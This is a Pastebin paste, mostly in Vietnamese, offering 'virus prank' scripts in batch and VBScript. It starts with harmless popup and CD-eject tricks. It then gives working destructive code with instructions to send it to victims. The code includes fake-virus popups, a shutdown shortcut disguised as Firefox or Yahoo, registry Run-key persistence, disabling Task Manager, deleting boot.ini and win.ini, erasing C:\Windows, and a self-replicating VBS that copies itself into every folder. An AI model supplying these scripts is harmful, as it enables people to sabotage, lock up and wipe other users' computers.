API tools faq
paste
Advertisement
Raiha

Nghịch virus

Raiha
Dec 13th, 2014
247
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.53 KB | None | 0 0
raw download clone embed print report
  1. Annoying Message Windows:
  2.  
  3. WScript.Echo ("INSERT TEXT HERE")
  4. WScript.Echo ("INSERT TEXT HERE")
  5. WScript.Echo ("INSERT TEXT HERE")
  6. WScript.Echo ("INSERT TEXT HERE")
  7. WScript.Echo ("INSERT TEXT HERE")
  8. WScript.Echo ("INSERT TEXT HERE")
  9.  
  10. Make your pc faster:
  11.  
  12. mystring=(80000000)
  13.  
  14. Open your Cd Drive:
  15.  
  16. Set oWMP = CreateObject("WMPlayer.OCX.7")
  17. Set colCDROMs = oWMP.cdromCollection
  18. if colCDROMs.Count = 1 then
  19. for i = 0 to colCDROMS.Count - 1
  20. colCDROMs.Item(i).Eject
  21. colCDROMs.Item(i).Eject
  22. Next ' cdrom
  23. end if
  24.  
  25. Matrix falling text:
  26.  
  27. @echo off
  28. :loop
  29. COlor 0A
  30. Title J J f f g g g g
  31.  
  32. echo 0 A 0 1 1 1 A 0 1 0 1 0 7 7 8 9 9 1 0 1 0 1 A 1 0 a d d f f 1 0 8
  33. echo 0 0 0 0 0 0 0 0 1 A 0 A 1 0 A 1 1 1 1 0 A 1 0 A 5 5 6 7 a n k k k
  34. echo 0 1 0 1 0 A B J 0 3 4 0 1 0 1 0 1 B A A O i d d 3 3 4 4 6 7 7 g u
  35. echo 0 2 3 1 1 1 5 5 6 5 6 8 9 5 4 5 4 5 5 4 5 5 6 4 f f f g j d g d f g d
  36. echo 2 4 5 6 5 5 6 5 9 4 5 7 7 7 7 8 9 9 0 66 6 1 5 5 6 4 5 5 8 6 4 4 6 4
  37. goto :loop
  38.  
  39. Chatbox:
  40.  
  41. dim fname
  42. fname=inputbox(" INSERT TEXT HERE")
  43. fname=inputbox(" INSERT TEXT HERE")
  44. fname=inputbox(" INSERT TEXT HERE")
  45. fname=inputbox(" INSERT TEXT HERE")
  46.  
  47. ***I CANNOT TAKE ALL CREDIT FOR THESE...I'M NOT THE FIRST ONE ON YOUTUBE TO COME UP WITH ALL OF THIS!***
  48. https://www.youtube.com/watch?v=SMiQYaQH34E
  49. -------------------------------
  50. clock.bat
  51. ===============================================================
  52.  
  53. @echo off
  54. :start
  55. echo Date: %date% Time: %time%
  56. goto start
  57. ===============================================================================
  58.  
  59. TRÒ 1 TẠO THÔNG BÁO
  60.  
  61. Dùng notepad ( nhấp chuột phải vào màn hình chọn new -> Text document) past đoạn code bên dưới
  62.  
  63. msgbox " Đừng có tắt dòng thong báo này đi nếu không bạn sẽ gặp rắc rối đó!",,"Thông báo rùi nhé không nghe ráng chịu!"
  64.  
  65. msgbox "Nhóc bướng nhỉ, anh thong báo rùi mà không nghe! Đáng đời nhóc lắm!",,"Thông báo từ hacker : covn!"
  66.  
  67. do
  68.  
  69. msgbox "Ban da bi lua ^^~~ hien gio ban khong the tat thong bao nay cua toi di duoc! ha ha ha!",,"Hello chicken-->Đừng quá tức giận PM me : http://cohet.pro!"
  70.  
  71. loop
  72.  
  73. Sau đó lưu lại. Ở chỗ save as type bạn chọn All file
  74.  
  75. chỗ encoding bạn chọn Unicode nếu không thì bạn sẽ hỏng hết dấu đấy!
  76.  
  77. ** Các cũng có thể tự làm con này bằng cách sau
  78.  
  79. Mở notepad và viết cú pháp:
  80.  
  81. text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
  82.  
  83. ví dụ: mình gõ như sau:
  84.  
  85. text1=msgbox("Máy bạn đã bị nhiểm virus! Perfect Keylogger !xin chia buồn cùng bạn Liên hệ huy9xtp@gmail.com để được gở bỏ",42,"Warning! VIRUS Protected!")
  86.  
  87. Bước 3:
  88.  
  89. Lưu lại với tên jì cũng đc nhưng có đuôi là "vbs"
  90.  
  91. Ví dụ: mình lưu lại với tên "thuongclub.vbs"
  92.  
  93. Nếu muốn có dấu thì khi lưu lại chọn bảng mã unicode nhá
  94.  
  95. Bước 4:
  96.  
  97. send cho bạn bè cùng chiêm ngưỡng = yahoo hoặc up lên host rồi đưa link cho họ down
  98.  
  99. Bổ xung thêm 1 chiu làm cho nạn nhân thêm bối rối và mệt óc - mỏi tay
  100.  
  101. Làm tới "Bước 2"
  102.  
  103. - Bạn tạo nhìu dòng với nội dung như trên.
  104.  
  105. - Cứ viết xong 1 dòng thì enter xuống dòng, viết dòng thứ 2 y chang như dòng trên.
  106.  
  107. - Cứ thế khoảng vài chục, vài trăm dòng....Như thế, khi nạn nhân bấm vào sẽ hiện ra bản báo như cú pháp đã viết..Nhưng khi tắc thì nó sẽ ra thêm 1 bảng y chang như thế....
  108.  
  109. Ví dụ:
  110.  
  111. text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
  112.  
  113. text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
  114.  
  115. text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
  116.  
  117. text1=msgbox("Thông điệp cảnh báo",42,"Tiêu đề của lời cảnh báo")
  118.  
  119. ...v.v...80 lần
  120.  
  121. Bạn viết 80 dòng thì nó sẽ hiện ra thêm 79 lần nữa khi bạn bấm tắt cái bảng. sẽ mỏi tay lắm đấy...
  122.  
  123. TRÒ 2 TẠO SHORTCUT LÀM TẮT MÁY
  124.  
  125. Cách làm:
  126.  
  127. Ngoài dekstop bạn tạo một shortcut mới bằng cách chọn New -> Shortcut và gõ lệnh sau vào bảng vừa bật ra (nhớ gõ chính xác nhé)
  128.  
  129. shutdown.exe -s -t 60 -c "may tinh ban da bi xam nhap boi toi va se tu dong tat sau 60s" .
  130.  
  131. chú ý các dấu cách nhé,trong đó 60 là thời gian mà bạn định để máy tính tự động shutdown.Để khó bị lộ và ngụy trang một cách hoàn hảo cho chú virut này bạn hãy thay icon cho nó thành một chương trình quen thuộc mà ai cũng thường xuyên sử dụng như fifox hoặc yah0o và đổi tên cho nó giống hệt chương trình nó. thế là mỗi khi muốn lướt web ngừoi ta lại ấn nhấm vào để tự động tắt máy
  132.  
  133. TRÒ 3 LÀM TREO MÁY
  134.  
  135. Mở notepad và paste đoạn code này vào rồi lưu dưới tên :treo máy.vbs
  136.  
  137. On Error Resume Next
  138.  
  139. Set popo= Createobject("scripting.filesystemobject")
  140.  
  141. popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
  142.  
  143. Set popo2= CreateObject("WScript.Shell")
  144.  
  145. popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
  146.  
  147. Set treomay= CreateObject("WScript.Shell")
  148.  
  149. Do
  150.  
  151. treomay.run "notepad",false
  152.  
  153. loop
  154.  
  155. TRÒ 4 RESTART MÁY SAU 15S
  156.  
  157. Mở notepad và paste đoạn code này vào rồi lưa dưới tên : thelove.Bat
  158.  
  159. reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 15" /f
  160.  
  161. reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f
  162.  
  163. cls
  164.  
  165. copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
  166.  
  167. cls
  168.  
  169. taskkill /f /im explorer.exe
  170.  
  171. cls
  172.  
  173. shutdown.exe -f -s -t 15 -c "your computer will turn off after 5s ..."
  174.  
  175. cls
  176.  
  177. @echo off
  178.  
  179. echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!!
  180.  
  181. echo GOOD BYE SEE YOU AGAIN
  182.  
  183. pause
  184.  
  185. del thelove.bat
  186.  
  187. Chúc thành công
  188.  
  189. TRÒ 5 LÀM HỎNG WIN
  190.  
  191. Mở notepad và paste đoạn code này vào :
  192.  
  193. @echo off
  194.  
  195. attrib -r -s -h c:\autoexec.bat
  196.  
  197. del c:\autoexec.bat
  198.  
  199. attrib -r -s -h c:\boot.ini
  200.  
  201. del c:\boot.ini
  202.  
  203. attrib -r -s -h c: tldr
  204.  
  205. del c: tldr
  206.  
  207. attrib -r -s -h c:\windows\win.ini
  208.  
  209. del c:\windows\win.ini
  210.  
  211. save với tên gì tùy thích nhưng phải đuôi là .bat
  212.  
  213. chúc các bác thành công
  214.  
  215. Cái này sẽ chén con win của mấy bác lên thử thì chuẩn bị đĩa cài lại máy nha
  216.  
  217. TRÒ 6 XÓA TẤT CẢ
  218.  
  219. lưu ý giùm tui loại này:
  220.  
  221. -không phải virus
  222.  
  223. -Chĩ là một mã lệnh đơn giản nhưng..........khả năng phá hoại tầm quốc tế.=))
  224.  
  225. -Có những files cứng đầu khó gỡ phải sử dụng các phần mềm gỡ bỏ như Blannco Shreader, Unlocker, Tuneup Unilities.....Nhưng với chỉ 1 thao tác lệnh bạn có thể xóa hết mà không cần dùng phần mềm hỗ trợ....
  226.  
  227. -B1: tạo 1 file bất kỳ(1.txt, 1.bat, 1.exe...v..v..)
  228.  
  229. Vd: C:\Users\chuong\Desktop\1.txt
  230.  
  231. -B2: vào notepad
  232.  
  233. -B3 :Đánh lệnh erase C:\Users\chuong\Desktop\1.txt
  234.  
  235. -B4: lưu dưới dạng *.cmd
  236.  
  237. -B5: Chạy file *.cmd
  238.  
  239. thế là file 1.txt đã bị xóa
  240.  
  241. các bạn hỏi nó phá hoại ở chỗ nào@_@
  242.  
  243. xin thưa rằng, files chạy dưới đuôi.cmd là thao tác thực hiện trên ms-dos vì vậy nó không kiêng nể ai hết...chỉ thực thi mệnh lệnh 1 cách hiệu quả thôi
  244.  
  245. -Bởi vậy....nếu bạn thay lệnh erase C:\Users\chuong\Desktop\1.txt -->>>>erase C:\Windows thì bạn nghĩ thế nào....có phải là đi tong cái win không........
  246.  
  247. TRÒ 7 THUỐC ĐỘC
  248.  
  249. -Không nên thử ở nhà đối với các bạn nào không rành về IT,script....
  250.  
  251. -Chương trình tự nhân bản tới tất cả các thư mục có trong máy tính
  252.  
  253. -Hoàn toàn vô hại.....chỉ nhân đôi mỗi folder thành 1 thằng *.vbs.....càng click vào nhiều folder càng thấy nhiều về hắn
  254.  
  255. Đầu tiên mở notepad lên và coppy đoạn code này vào rồi lưu lại vơi tên virut.vbs
  256.  
  257. Code:
  258.  
  259. 'virus !!!
  260.  
  261. Dim fso,file,VBCopy
  262.  
  263. Set fso=CreateObject("Scripting.FileSystemObject")
  264.  
  265. Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
  266.  
  267. VBCopy=file.ReadAll
  268.  
  269. FolderList("A:")
  270.  
  271. FolderList("B:")
  272.  
  273. FolderList("C:")
  274.  
  275. FolderList("D:")
  276.  
  277. FolderList("E:")
  278.  
  279. FolderList("F:")
  280.  
  281. FolderList("G:")
  282.  
  283. FolderList("H:")
  284.  
  285. FolderList("I:")
  286.  
  287. FolderList("J:")
  288.  
  289. FolderList("K:")
  290.  
  291. FolderList("L:")
  292.  
  293. FolderList("M:")
  294.  
  295. FolderList("N:")
  296.  
  297. FolderList("O:")
  298.  
  299. FolderList("P:")
  300.  
  301. FolderList("Q:")
  302.  
  303. FolderList("R:")
  304.  
  305. FolderList("S:")
  306.  
  307. FolderList("T:")
  308.  
  309. FolderList("U:")
  310.  
  311. FolderList("V:")
  312.  
  313. FolderList("X:")
  314.  
  315. FolderList("Y:")
  316.  
  317. FolderList("Z:")
  318.  
  319. FolderList("W:")
  320.  
  321. Sub FolderList(FolderSpec)
  322.  
  323. On Error Resume Next
  324.  
  325. Dim f,f1,sf,COP,CAP
  326.  
  327. Set f=fso.GetFolder(FolderSpec)
  328.  
  329. set sf=f.SubFolders
  330.  
  331. For Each f1 In sf
  332.  
  333. Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
  334.  
  335. COP.write VBCopy
  336.  
  337. Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
  338.  
  339. CAP.write VBCopy
  340.  
  341. FolderList(f1.Path)
  342.  
  343. Next
  344.  
  345. End sub
  346.  
  347. Để vô hiệu hóa nó thì ta coppy đoạn code này vào notepad và lưu lại với đuôi .vbs:
  348.  
  349. Code:
  350.  
  351. 'loại bỏ !!!
  352.  
  353. Dim fso,file,VBCopy
  354.  
  355. Set fso=CreateObject("Scripting.FileSystemObject")
  356.  
  357. Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
  358.  
  359. VBCopy=file.ReadAll
  360.  
  361. FolderList("A:")
  362.  
  363. FolderList("B:")
  364.  
  365. FolderList("C:")
  366.  
  367. FolderList("D:")
  368.  
  369. FolderList("E:")
  370.  
  371. FolderList("F:")
  372.  
  373. FolderList("G:")
  374.  
  375. FolderList("H:")
  376.  
  377. FolderList("I:")
  378.  
  379. FolderList("J:")
  380.  
  381. FolderList("K:")
  382.  
  383. FolderList("L:")
  384.  
  385. FolderList("M:")
  386.  
  387. FolderList("N:")
  388.  
  389. FolderList("O:")
  390.  
  391. FolderList("P:")
  392.  
  393. FolderList("Q:")
  394.  
  395. FolderList("R:")
  396.  
  397. FolderList("S:")
  398.  
  399. FolderList("T:")
  400.  
  401. FolderList("U:")
  402.  
  403. FolderList("V:")
  404.  
  405. FolderList("X:")
  406.  
  407. FolderList("Y:")
  408.  
  409. FolderList("Z:")
  410.  
  411. FolderList("W:")
  412.  
  413. Sub FolderList(FolderSpec)
  414.  
  415. On Error Resume Next
  416.  
  417. Dim f,f1,sf,COP,CAP,ATT
  418.  
  419. Set f=fso.GetFolder(FolderSpec)
  420.  
  421. set sf=f.SubFolders For Each f1 In sf
  422.  
  423. 'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
  424.  
  425. 'COP.write VBCopy
  426.  
  427. 'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
  428.  
  429. 'CAP.write VBCopy
  430.  
  431. 'Set ATT=fso.GetFolder(f1.Path)
  432.  
  433. 'ATT.Attributes=ATT.Attributes+2
  434.  
  435. fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
  436.  
  437. fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
  438.  
  439. FolderList(f1.Path)
  440.  
  441. Next
  442.  
  443. End sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!